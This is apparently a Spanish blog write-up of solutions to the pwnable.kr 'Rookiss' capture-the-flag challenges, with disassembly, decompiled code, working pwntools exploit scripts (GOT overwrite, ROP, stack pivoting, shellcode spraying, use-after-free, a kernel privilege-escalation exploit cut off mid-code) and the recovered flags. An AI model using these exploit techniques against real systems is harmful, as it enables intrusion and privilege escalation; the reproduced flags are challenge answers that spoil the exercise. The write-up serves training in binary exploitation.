pwnable.kr series (2) - Rookiss

pwnable.kr es un sitio web no comercial que contiene retos enfocados a desarrollar habilidades en explotación binaria, división conocida coloquialmente como “pwn” en sitios afines.

Los retos en pwnable.kr se dividen en cuatro categorías. Ordenadas de la más fácil a la más difícil:

  • [Toddler’s Bottle]
  • [Rookiss]
  • [Grotesque]
  • [Hacker’s Secret]

En el artículo anterior presenté las soluciones a la primera categoría: “Toodler’s Bottle”. En este continuaré con los retos que pertenecen a “Rookiss”. Esta categoría tiene retos que ya se basan más en técnicas clásicas de explotación y requieren cierta creatividad.

Índice

brain-fuck

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

Tenemos un intérprete de brainfuck, que acepta una entrada de 0x400 bytes:

1
2
3
4
5
6
7
8
9
10
11
0x08048700 <+143>:   mov    DWORD PTR [esp+0x8],0x400   
0x08048708 <+151>: mov DWORD PTR [esp+0x4],0x0
0x08048710 <+159>: lea eax,[esp+0x2c]
0x08048714 <+163>: mov DWORD PTR [esp],eax
0x08048717 <+166>: call 0x80484c0 <memset@plt>
0x0804871c <+171>: mov eax,ds:0x804a040
0x08048721 <+176>: mov DWORD PTR [esp+0x8],eax
0x08048725 <+180>: mov DWORD PTR [esp+0x4],0x400
0x0804872d <+188>: lea eax,[esp+0x2c]
0x08048731 <+192>: mov DWORD PTR [esp],eax
0x08048734 <+195>: call 0x8048450 <fgets@plt>

Hay una excelente introducción a este lenguaje aquí.

No podemos usar [ ni ] así que no podemos hacer bucles, pero la entrada es suficientemente grande entonces no hace falta.

La función do_brainfuck ejecuta la lógica del intérprete:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
(gdb) disass do_brainfuck
Dump of assembler code for function do_brainfuck:
# La función maneja cada caracter especial: + - , . < >
0x080485dc <+0>: push ebp
0x080485dd <+1>: mov ebp,esp
0x080485df <+3>: push ebx
0x080485e0 <+4>: sub esp,0x24
0x080485e3 <+7>: mov eax,DWORD PTR [ebp+0x8]
0x080485e6 <+10>: mov BYTE PTR [ebp-0xc],al
0x080485e9 <+13>: movsx eax,BYTE PTR [ebp-0xc]
0x080485ed <+17>: sub eax,0x2b
0x080485f0 <+20>: cmp eax,0x30
0x080485f3 <+23>: ja 0x804866b <do_brainfuck+143>
0x080485f5 <+25>: mov eax,DWORD PTR [eax*4+0x8048848]
0x080485fc <+32>: jmp eax <--- Salta a un indice en 0x8048848 que redirige a cada uno de los handlers de esta funcion
0x080485fe <+34>: mov eax,ds:0x804a080 <-- handler de '>'
0x08048603 <+39>: add eax,0x1
0x08048606 <+42>: mov ds:0x804a080,eax
0x0804860b <+47>: jmp 0x804866b <do_brainfuck+143>
0x0804860d <+49>: mov eax,ds:0x804a080 <-- handler de '<'
0x08048612 <+54>: sub eax,0x1
0x08048615 <+57>: mov ds:0x804a080,eax
0x0804861a <+62>: jmp 0x804866b <do_brainfuck+143>
0x0804861c <+64>: mov eax,ds:0x804a080 <-- handler de '+'
0x08048621 <+69>: movzx edx,BYTE PTR [eax]
0x08048624 <+72>: add edx,0x1
0x08048627 <+75>: mov BYTE PTR [eax],dl
0x08048629 <+77>: jmp 0x804866b <do_brainfuck+143>
0x0804862b <+79>: mov eax,ds:0x804a080 <-- handler de '-'
0x08048630 <+84>: movzx edx,BYTE PTR [eax]
0x08048633 <+87>: sub edx,0x1
0x08048636 <+90>: mov BYTE PTR [eax],dl
0x08048638 <+92>: jmp 0x804866b <do_brainfuck+143>
0x0804863a <+94>: mov eax,ds:0x804a080 <-- handler de ','
0x0804863f <+99>: movzx eax,BYTE PTR [eax]
0x08048642 <+102>: movsx eax,al
0x08048645 <+105>: mov DWORD PTR [esp],eax
--Type <RET> for more, q to quit, c to continue without paging--c
0x08048648 <+108>: call 0x80484d0 <putchar@plt>
0x0804864d <+113>: jmp 0x804866b <do_brainfuck+143>
0x0804864f <+115>: mov ebx,DWORD PTR ds:0x804a080
0x08048655 <+121>: call 0x8048440 <getchar@plt> <-- handler de '.'
0x0804865a <+126>: mov BYTE PTR [ebx],al
0x0804865c <+128>: jmp 0x804866b <do_brainfuck+143>
0x0804865e <+130>: mov DWORD PTR [esp],0x8048830
0x08048665 <+137>: call 0x8048470 <puts@plt>
0x0804866a <+142>: nop
0x0804866b <+143>: add esp,0x24
0x0804866e <+146>: pop ebx
0x0804866f <+147>: pop ebp
0x08048670 <+148>: ret
End of assembler dump.

0x804a080 es un puntero al tape (array de celdas de brainfuck) y no hay ninguna verificación de limites así que hay una vulnerabilidad “Out-Of-Bounds”, o sea, podemos movernos fuera del tape y ganar lectura y escritura arbitraria en un rango de direcciones moderado.

El tape se encuentra en 0x804a0a0, podemos ver que se asigna en main:

1
0x080486de <+109>:   mov    DWORD PTR ds:0x804a080,0x804a0a0
Filtrar libc

El binario no tiene PIE, las direcciones de memoria son fijas. Al momento de introducir nuestra entrada se usa fgets, entonces fgets@GOT ya contiene la dirección de puts en libc.

Podemos desplazarnos desde el tape hacia allí e imprimir su contenido:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 tape_start = 0x804a0a0
fgets_got = 0x0804a010

# Leak fgets@got
payload = b'<' * (tape_start - fgets_got)
payload += b'.>' * 4 + b"," + b"<" * 4 # "<" * 4 solo por consistencia para volver a la dirección exacta de fgets_got,
# dado que luego realizaremos mas calculos y tenemos espacio de sobra en el buffer

# Leak libc
io.sendlineafter(b"]\n",payload)
time.sleep(1.5)

libc_fgets = u32(io.recv(4))
libc.address = libc_fgets - libc.sym['fgets']

log.info(f"fgets@got: {hex(libc_fgets)}")
log.info(f"libc.base: {hex(libc.address)}")

io.send(b"\x00") # Necesitamos ',' para parar la interaccion y poder filtrar la direccion
# Enviamos cualquier byte (realmente este byte que escribimos es de __stack_chk_fail@GLIBC_2.4, cosa que no importa mucho entonces)
ret2libc

Necesitamos llamar a system("/bin/sh") para invocar una shell, pero no controlamos el stack, o eso pensaba.

Veamos las llamadas a libc del programa:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ltrace ./brainfuck
__libc_start_main(0x8048671, 1, 0xffc7e2c4, 0x80487a0 <unfinished ...>
setvbuf(0xf7f1ed40, 0, 2, 0) = 0
setvbuf(0xf7f1e5c0, 0, 1, 0) = 0
puts("welcome to brainfuck testing sys"...welcome to brainfuck testing system!!
) = 38
puts("type some brainfuck instructions"...type some brainfuck instructions except [ ]
) = 44
memset(0xffc7ddfc, '\0', 1024) = 0xffc7ddfc
fgets(data
"data\n", 1024, 0xf7f1e5c0) = 0xffc7ddfc
strlen("data\n") = 5
strlen("data\n") = 5
strlen("data\n") = 5
strlen("data\n") = 5
strlen("data\n") = 5
strlen("data\n") = 5
+++ exited (status 0) +++

El programa primero llama a memset(direccion_del_buffer_en_el_stack,relleno,size), y luego a fgets(direccion_del_buffer_en_el_stack,size,fd)

Podemos:

  • Reemplazar el puntero en memset@GOT con gets para escribir lo que queramos en el stack (/bin/sh!) (memset(buffer,...,...) -> gets(buffer))
  • Reemplazar el puntero en fgets@GOT con system, que lee como primer parámetro lo que ya escribimos en el buffer. (fgets(buffer,...,...) -> system(buffer,...,...))

Pero aunque podemos lograr esto necesitamos desencadenar esa secuencia de llamadas, debemos retornar a main.

Para ello reemplazaremos el puntero en putchar@GOT con la dirección de main. Ahora podemos desencadenar la llamada a main con un ‘.’

Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
elf = context.binary = ELF("./brainfuck")
libc = ELF("./libc-2.23.so")
#context.log_level = "debug"

io = remote("pwnable.kr",9001)

tape_start = 0x804a0a0
fgets_got = 0x0804a010
memset_got = 0x0804a02c
putchar_got = 0x804a030

# Leak fgets@got
payload = b'<' * (tape_start - fgets_got)
payload += b'.>' * 4 + b"," + b"<" * 4

# Overwrite fgets@got with system
payload += b",>" * 4 + b"<" * 4

# Overwrite memset@got with gets
payload += b">" * (memset_got - fgets_got)
payload += b",>" * 4 + b"<" * 4

# Overwrite putchar@got with main
payload += b">" * (putchar_got - memset_got)
payload += b",>" * 4 + b"<" * 4
payload += b"."

# Leak libc
io.sendlineafter(b"]\n",payload)
time.sleep(1.5)

libc_fgets = u32(io.recv(4))
libc.address = libc_fgets - libc.sym['fgets']

log.info(f"fgets@got: {hex(libc_fgets)}")
log.info(f"libc.base: {hex(libc.address)}")

io.send(b"\x00")

# fgets@got --> system
io.send(p32(libc.sym['system']))

# memset@got --> gets
io.send(p32(libc.sym['gets']))

# putchar@got --> main
io.send(p32(elf.sym['main']))

# gets(buffer)
io.sendlineafter(b"]\n",b"/bin/sh")

# Shell
io.interactive()

bR41n_F4ck_Is_FuN_LanguaG3

md5-calculator

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
3
 ./md5calculator
- Welcome to the free MD5 calculating service -
Are you human? input captcha : 378101604

Si vamos a my_hash nos enteramos que el número que devuelve es el resultado de una operacion con números aleatorios obtenidos con rand() y el stack_canary!:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* WARNING: Restarted to delay deadcode elimination for space : stack */

int my_hash(void)

{
int iVar1;
int in_GS_OFFSET;
int local_3c;
int local_30 [8];
int stack_cookie;

stack_cookie = *(int *)(in_GS_OFFSET + 0x14);
for (local_3c = 0; local_3c < 8; local_3c = local_3c + 1) {
iVar1 = rand();
local_30[local_3c] = iVar1;
}
if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return local_30[5] + local_30[1] + (local_30[2] - local_30[3]) + stack_cookie + local_30[7] +
(local_30[4] - local_30[6]);
}

Los números aleatorios generados con rand() con una semilla basada en tiempo en C se pueden reproducir si tomamos el tiempo actual dentro del mismo segundo en que se tomó en el programa.

Podemos extraer el canario y entonces, dado que el binario no tiene PIE, hacer ROP para invocar a system("/bin.sh").

En la función process_hash se toma la entrada de usuario y se almacenan 0x400 bytes en el buffer global g_buf, luego se pasa a Base64Decode y el resultado se almacena en un buffer local buffer[128].

Podemos codificar nuestra carga útil en base64 (offset + ROP) y pasársela como entrada, desbordar el buffer y controlar el flujo del programa.

Para invocar una shell necesitamos un puntero a “/bin/sh\x00”. Luego de la carga útil en base64 enviamos la cadena y le pasamos como argumento a system g_buf + offset a la cadena.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3

from pwn import *
import time
import base64
from ctypes import CDLL

elf = ELF("./md5calculator")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#ld = ELF("./")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
break *0x0804902b
break *0x0804908e
'''

domain= "pwnable.kr"
port = 9002

def start():
if args.REMOTE:
return remote(domain, port)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()

#========= exploit here ===================

# -- Grab the stack cookie --
RAND_MAX = 2**31-1
seed = int(time.time())
so = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
so.srand(seed)

numbers = []
for _ in range(8):
numbers.append(so.rand() % (RAND_MAX + 1))

r.recvuntil(b"Are you human? input captcha : ")
sum = int(r.recvline().strip())

stack_cookie = sum - numbers[5] - numbers[1] - (numbers[2] - numbers[3]) - numbers[7] - (numbers[4] - numbers[6])

log.success("Predicted stack_cookie: {}".format(hex(stack_cookie & 0xFFFFFFFF)))

r.sendline(str(sum).encode())

# -- system("/bin/sh")
payload = b"A"*512 + p32(stack_cookie & 0xFFFFFFFF) + b"B"*12
payload += p32(elf.sym.system) + p32(0) + p32(0x0804b0e0 + 720)
payload = base64.b64encode(payload)

payload += b"/bin/sh\x00"

r.sendline(payload)
r.interactive()

M3ssing_w1th_st4ck_Pr0tector

simple-login

1
2
3
4
5
6
7
checksec simplelogin
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

El binario espera una entrada codificada en base64 del usuario, la decodifica, saca su hash md5 y lo compara con el correcto.

La longitud de la cadena decodificada no puede exceder los 12 bytes. Se almacena en un buffer input de ese tamaño.

En auth() se intenta almacenar la cadena decodificada en un buffer de 8 bytes:

Con ese pequeño buffer overflow podemos sobreescribir EBP y controlar a donde apunta ESP (stack pivoting).

Movemos el stack a input y aprovechamos que correct() implementa un system("/bin/sh") para hacer ROP alli.

Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
import base64

p = process("./simplelogin")
#p = remote("pwnable.kr",9003)

payload = p32(0x8049284) # system("/bin/sh") (ret)
payload += b"A" * 4 # padding
payload += p32(0x811eb40 - 4) # input_address - 4 (pop ebp)
payload = base64.b64encode(payload)

p.sendlineafter(b"Authenticate : ", payload)
p.interactive()

C0ntrol_EBP_E5P_EIP_and_rul3_th3_w0rld

otp

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

De leer https://linuxcommand.org/lc3_man_pages/ulimith.html concluimos que si hacemos ulimit -f 0 el tamaño máximo (en bloques de 512 bytes) de cualquier archivo que un proceso pueda crear mediante escritura es ahora 0.

Esto provoca que no se pueda crear el archivo temporal y al intentar leer del archivo inexistente no se actualiza passcode, entonces passcode=0. Si pasamos de parámetro una cadena vacía entonces strtoul la convierte en 0 y pasamos la verificación.

Sin embargo cuando el tamaño de un archivo excede lo establecido por ulimit se lanza una excepción SIGXFSZ.

Usando trap 'commands' signal en bash se puede personalizar el comportamiento de la terminal para una señal en especifico. Ignorando SIGXFSZ (trap '' SIGXFSZ) conseguimos la flag.

Otra forma es usando un subproceso. Por ejemplo con python:

1
2
3
4
5
6
7
8
9
10
11
12
13
import signal
import resource
import subprocess
import os

# ulimit -f 0
resource.setrlimit(resource.RLIMIT_FSIZE, (0, 0))

# preexec_fd sets the signal handler for the subprocess
subp = subprocess.Popen(
["/home/otp/otp", ""],
preexec_fn=lambda: signal.signal(signal.SIGXFSZ, signal.SIG_IGN))
subp.wait()

f1le_0peration_r3turn_value_matters

ascii_easy

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Intro

El reto carga una version vieja de libc en una dirección fija de la memoria. Debemos hacer ROP para conseguir una shell pero con la condición de que solo podemos usar valores ascii.

Pasé una considerable cantidad de tiempo intentando hacer un retorno a wrappers de execve y fallando por alguna razón. En fin, que no vi la pista y eso me costó caro:

Un call execve encadenable estaba en el offset 0x000d8b69:

1
2
3
4
5
6
 0x000d8b69      8b4de0         mov ecx, dword [var_20h]
| 0x000d8b6c 89742404 mov dword [esp+0x4], esi ; int32_t arg_10h
| 0x000d8b70 893c24 mov dword [esp], edi ; int32_t arg_ch
| 0x000d8b73 894c2408 mov dword [esp+0x8], ecx ; int32_t arg_14h
| 0x000d8b77 e864fafdff call sym.execve
| 0x000d8b7c 8d65f4 lea esp, [var_ch]

Tenemos que controlar edi, esi y [ebp-0x20] para llamar a execve("/bin/sh",NULL,NULL)

Lamentablemente no podemos introducir bytes nulos y la dirección de la cadena “/bin/sh” no es ascii-completa.

Tenemos que usar gadgets ascii-completos que permitan construir direcciones con registros como add, sub, or, and, xor, etc.

edi
1
2
[0x00018550]> iz~/bin/sh
610 0x0015d7ec 0x0015d7ec 7 8 .rodata ascii /bin/sh

Hay un gadget add edi, dword ptr [ecx + 0xe] ; add al, 0xc6 ; ret. Podemos hacer edi=BASE + 0x0015d7ec si introducimos una dirección valida en edi y con ecx podemos encontrar otra dirección que contenga un valor x tal que edi + [ecx + 0xe] = BASE + 0x0015d7ec.

Para edi=BASE + 0x154020 la diferencia es 0xcc97. Esta dirección sirve:

1
2
3
[0x00178e7c]> px 4
- offset - 7C7D 7E7F 8081 8283 8485 8687 8889 8A8B CDEF0123456789AB
0x00178e7c cc97 0000 ....
esi

Hay un gadget add esi, ebx ; ret, si cargamos en esi y edi direcciones validas tal que:
0x100000000 = esi + edi*2

Como se ve podemos con un overflow hacer esi=0x00000000 si encontramos los valores correctos:

1
2
>>> hex((0x100000000 - 0x7b7b7b7a)//2)
'0x42424243'
ecx

Practicamente execve carga [ebp-0x20] en ecx asi que usamos un pop ebphacia alguna dirección ascii-completa que contenga 4 bytes nulos:

1
2
3
[0x00018550]> px 4
- offset - 5051 5253 5455 5657 5859 5A5B 5C5D 5E5F 0123456789ABCDEF
0x00018550 0000 0000 ....
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
# ascii lower word => 0x[40-9e][20-7e]
"""
0x000d8b69 8b4de0 mov ecx, dword [var_20h]
| 0x000d8b6c 89742404 mov dword [esp+0x4], esi ; int32_t arg_10h
| 0x000d8b70 893c24 mov dword [esp], edi ; int32_t arg_ch
| 0x000d8b73 894c2408 mov dword [esp+0x8], ecx ; int32_t arg_14h
| 0x000d8b77 e864fafdff call sym.execve
| 0x000d8b7c 8d65f4 lea esp, [var_ch]
"""

BASE = 0x5555e000
pop_ecx = 0x556d2a51 # 0x556d2a51: pop ecx ; add al, 0xa ; ret
pop_edi_ebx = 0x555e5132 # 0x555e5132: pop edi ; pop ebx ; ret
pop_ebx_esi = 0x55686c71 # 0x55686c71: pop ebx ; pop esi ; ret
add_esi_ebx = 0x555c612c # 0x555c612c: add esi, ebx ; ret
pop_ebp = 0x5557506f # 0x5557506f: pop ebp ; ret
add_edi_ecx_content = 0x556d7d39 # 0x556d7d39: add edi, dword ptr [ecx + 0xe] ; add al, 0xc6 ; ret
call_execve = BASE + 0x000d8b69 # execve([edi],[esi],[ecx])

payload = b"A" * 0x20
# set edi = "/bin/sh"
payload += p32(pop_ecx)
payload += p32(0x556d6e7c - 0xe)
payload += p32(pop_edi_ebx)
payload += p32(BASE + 0x154020)
payload += b"A"*4
payload += p32(add_edi_ecx_content)
# set esi = NULL
payload += p32(pop_ebx_esi)
payload += p32(0x42424243)
payload += p32(0x7b7b7b7a)
payload += p32(add_esi_ebx)
payload += p32(add_esi_ebx)
# set [ebp - 0x20] = NULL
payload += p32(pop_ebp) # esp
payload += p32(BASE + 0x00018550 + 0x20)
payload += p32(call_execve)
p = process(["./ascii_easy",payload])
p.interactive()

ASCII_armor_is_a_real_pain_to_d3al_with!

tiny easy

1
2
3
4
5
6
7
checksec tiny_easy
[*] '/home/kalcast/tiny_easy'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Intro

El programa solo cuenta con un par de instrucciones:

1
2
3
4
5
6
7
8
9
10
11
[0x08048054]> pdf
;-- eip:
/ 6: entry0 ();
| rg: 0 (vars 0, args 0)
| bp: 0 (vars 0, args 0)
| sp: 0 (vars 0, args 0)
| 0x08048054 58 pop eax
| 0x08048055 5a pop edx
| 0x08048056 8b12 mov edx, dword [edx]
\ 0x08048058 ffd2 call edx
[0x08048054]>

Si usamos un debugger vemos que el stack al comienzo del programa luce asi:

1
2
3
4
5
6
7
8
| "USER=sezzz"       |
| "PATH=/usr/bin" | <-- variables de entorno
| "arg1" |
| "arg2" |
| "./program" | <-- argumentos
| envp[] | <-- punteros a variables de entorno
| argv[] | <-- punteros a argumentos
| argc | <-- tope (esp)

Los primeros 4 bytes de argv[0] representan la nueva dirección que se le pasará a edx. Debemos controlarla para saltar la ejecución al shellcode que escribamos en el stack, porque el binario no tiene el bit NX activo y el stack es ejecutable.

Segun la manpage de execve podemos pasar la ruta al ejecutable pero cambiar su nombre(argv[0]). Por ejemplo: execve("/bin/ls",["listar_archivos","-lh"],NULL):

1
2
3
4
5
6
7
8
9
10
11
12
13
int execve(const char *pathname, char *const _Nullable argv[],
char *const _Nullable envp[]);

DESCRIPTION
execve() executes the program referred to by pathname. This causes the
program that is currently being run by the calling process to be re‐
placed with a new program, with newly initialized stack, heap, and
(initialized and uninitialized) data segments.

pathname must be either a binary executable, or a script starting with
a line of the form:

#!interpreter [optional-arg]
Stack spray

Hay un límite para el tamaño que pueden tener argv[], env[] y en general la lista que se le pasa a execve. Sin embargo esto no siempre cuadra y parece ser especifico del sistema.

No podemos saber la dirección exacta de nuestro shellcode por el ASLR pero podemos hacer un “stack spray” para llenar una región de la pila considerablemente grande con NOP slides y shellcode. Podemos hacer uso tanto de argv[] como de env[].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = "error"

# I simply started with a nop sled of 100 bytes and increased it gradually until the program complained
nop_sled = b"\x90" * (1024 * 126 - 4)
shellcode = asm(shellcraft.open("flag") + shellcraft.read("eax","esp",50) + shellcraft.write(1,"esp",50) + shellcraft.exit(0))
# Trial and error looking at the core dumps and calculating some stuff
address = 0xffce11d4

argv0 = [p32(address) + nop_sled + shellcode]

for _ in range(200):
try:
p = process(argv=argv0,executable="./tiny_easy")
print(p.recv(50))
break
except Exception as e:
p.close()
continue

Such_a_tiny_task:_Great_job_done_here!

dragon

1
2
3
4
5
6
7
8
$ checksec dragon
[*] '/home/kalcast/Laboratorio/pwn/dragon'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Desarrollo

Podemos observar en PlayGame una función SecretLevel que invoca a system("/bin/sh") pero no podremos escribir la contraseña correcta porque la entrada de usuario esta limitada a 10 caracteres:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void PlayGame(void)

{
int hero_number;

while( true ) {
while( true ) {
puts("Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight") ;
hero_number = GetChoice();
if ((hero_number != 1) && (hero_number != 2)) bre ak;
FightDragon(hero_number);
}
if (hero_number != 3) break;
SecretLevel();
}
return;
}


void SecretLevel(void)
{
int iVar1;
int in_GS_OFFSET;
char user_input [10];
int local_10;

local_10 = *(int *)(in_GS_OFFSET + 0x14);
printf("Welcome to Secret Level!\nInput Password : ") ;
__isoc99_scanf(&DAT_0804932f__%10s,user_input);
iVar1 = strcmp(user_input,"Nice_Try_But_The_Drago ns_Won\'t_Let_You!");
if (iVar1 != 0) {
puts("Wrong!\n");
/* WARNING: Subroutine does not return * /
exit(-1);
}
system("/bin/sh");
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return * /
__stack_chk_fail();
}
return;
}

Usé Ghidra para crear estructuras para los objetos Hero y Dragon:

Nota: Algunos tipos a lo mejor deben ser int y no uint pero eran irrelevantes para el caso actual.

Como se puede notar el valor de HP de un Dragon es un byte con signo, porque en el desensamblado para revisar si el dragón fue derrotado se usa test para verificar el bit de signo:

1
2
3
08048ae6  0f b6 40 08                MOVZX             EAX,byte ptr [EAX + 0x8]
08048aea 84 c0 TEST AL,AL
08048aec 7f 12 JG LAB_08048b00
¿Como ganar?
  • El rango de valores de un int8_t va de {-128,127}
  • El segundo monstruo al que nos enfrentamos es Mama Dragon con 80 de HP y +4 de LifeRegeneration

Si elegimos al Priest y usamos Holy Shield + Holy Shield + Clarity aguantamos varios turnos hasta que el HP de Mama Dragon se desborde y acabe siendo negativo:
Un pequeño ejemplo:

1
2
3
4
5
int main(){
signed char a = 127;
a++;
printf("%d",a);
}
1
2
3
4
5
Valores de Dragon->HP
84,88,92,
96,100,104,
108,112,116,
120,124,-128
Chunk corrupto

Una vez ganamos se ejecuta este bloque:

1
2
3
4
5
6
7
8
else {
puts("Well Done Hero! You Killed The Dragon!");
puts("The World Will Remember You As:");
your_name = malloc(0x10);
__isoc99_scanf(&DAT_08049108__%16s__,your_nam e);
puts("And The Dragon You Have Defeated Was Call ed:");
(*(code *)Dragon->Info)(Dragon);
}

Hay algo importante que tenemos que notar. Hero, Dragon y your_name son punteros a chunks del heap todos del mismo tamaño, eso significa que van a la misma tcachebin. Al iniciar el combate estas estructuras lucen asi:

1
2
HEAP: chunk1(Hero) chunk2(Dragon)
TCACHEBIN 0X10: HEAD

Al ganar se ejecuta free(Dragon):

1
2
HEAP: chunk1(Hero) free_chunk2(Dragon)
TCACHEBIN 0X10: chunk2(Dragon) -> HEAD

Entonces al ejecutarseyour_name = malloc(0x10); se reutiliza ese chunk de la tcache:

1
2
HEAP: chunk1(Hero) chunk2(your_name)
TCACHEBIN 0X10: HEAD

Y lo más importante es que el puntero al chunk de la estructura Dragon NO se ha hecho = NULL, por lo que sigue apuntando al mismo chunk haciendo que este código: (*(code *)Dragon->Info)(Dragon); intente ejecutar la dirección que se forma por los 4 primeros bytes de la entrada de usuario.

Escribimos la dirección de SecretLevel() después de la comprobación de la contraseña y obtenemos la shell.

Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = remote("pwnable.kr",9004)
#p = process("./dragon")
# Choose Knight against Baby Dragon
p.sendline(b"2")
# Use Frenzy and lose
p.sendline(b"2")
# Choose Priest against Mama Dragon
p.sendline(b"1")
# Hold on with HolyShield + HolyShield + Clarity until you unleash an integer overflow
while b"Well Done Hero! You Killed The Dragon!" not in p.recv():
p.sendline(b"3\n3\n2")
pause(1)
# Overwrite Dragon->PrintMonsterInfo with system("/bin/bash") address
p.sendline(p32(0x08048dbf))
# Shell
p.interactive()

p3ac3_1s_th3_k3y

syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// adding a new system call : sys_upper

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>

#define SYS_CALL_TABLE 0x8000e348 // manually configure this address!!
#define NR_SYS_UNUSED 223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
int len = strlen(in);
int i;
for(i=0; i<len; i++){
if(in[i]>=0x61 && in[i]<=0x7a){
out[i] = in[i] - 0x20;
}
else{
out[i] = in[i];
}
}
return 0;
}

static int __init initmodule(void ){
sct = (unsigned int**)SYS_CALL_TABLE;
sct[NR_SYS_UNUSED] = sys_upper;
printk("sys_upper(number : 223) is added\n");
return 0;
}

static void __exit exitmodule(void ){
return;
}

module_init( initmodule );
module_exit( exitmodule );

Nos meten en un Linux-ARM7 virtualizado con QEMU:

1
2
3
4
5
6
7
8
9
10
11
sys_upper(number : 223) is added
cttyhack: can't open '/dev/ttyS0': No such file or directory
sh: can't access tty; job control turned off
/ $ uname -a
Linux (none) 3.11.4 #13 SMP Fri Jul 11 00:48:31 PDT 2014 armv7l GNU/Linux
/ $ id
uid=1000 gid=1000 groups=1000
/ $ ls
bin dev lib lost+found proc sbin tmp
boot etc linuxrc m.ko root sys usr
/ $

m.ko es el módulo agregado por el autor con la syscall 223 sys_upper. Esta syscall no tiene sanitización de entrada y básicamente escribe el contenido de in en out, solo cambiando un rango de caracteres ascii (las minúsculas):

1
2
3
4
5
6
7
8
for(i=0; i<len; i++){
if(in[i]>=0x61 && in[i]<=0x7a){
out[i] = in[i] - 0x20;
}
else{
out[i] = in[i];
}
}
Corrompiendo SYSCALL_TABLE

LLamando a commit_creds(prepare_kernel_cred(0)) se pueden ganar privilegios de administrador para el proceso actual:

  • prepare_kernel_cred(uint id) devuelve un puntero a una estructura cred que contiene las credenciales para una nueva tarea. El parametro 0 es el ID de root.
  • commit_creds(struct cred *new) actualiza las credenciales de la tarea actual con las nuevas credenciales proporcionadas.

Con /proc/kallsyms podemos observar los símbolos del kernel y sus direcciones de memoria. Por lo visto tenemos permiso de lectura:

1
2
/ $ ls -l /proc/kallsyms
-r--r--r-- 1 0 0 0 Aug 29 22:49 /proc/kallsyms

La estrategia se resume en hallar dos punteros a syscalls en la SYSCALL_TABLE sys_1 y sys_2 que tomen solo un parametro tal que podamos reemplazar:
sys_1 => commit_creds, sys_2 => prepare_kernel_cred y entonces sys_1(sys_2(0)). Después con máximos privilegios invocar una shell: system("/bin/sh").

Lamentablemente commit_creds contiene el byte 0x6c, así que no podemos usar esta dirección directamente, pero podemos reemplazar este byte por 0x60 y en esa dirección escribir 12 bytes de instrucciones NOP como mov reg,reg.

Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdlib.h>
#include <unistd.h>

#define SYS_CALL_TABLE 0x8000e348
#define SYS_UPPER 223
#define SYS_STIME 25
#define SYS_TIME 13

#define PREPARE_KERNEL_CRED "\x24\xf9\x03\x80"
#define COMMIT_CREDS_MINUS_12 "\x60\xf5\x03\x80"

int main(){
unsigned int** sct=(unsigned int**)SYS_CALL_TABLE;

// Write in [commit_creds - 12] 12 bytes of some kind of NOP (mov r8,r8)
syscall(SYS_UPPER,"\x08\x80\xa0\xe1\x08\x80\xa0\xe1\x08\x80\xa0\xe1",0x8003f560);

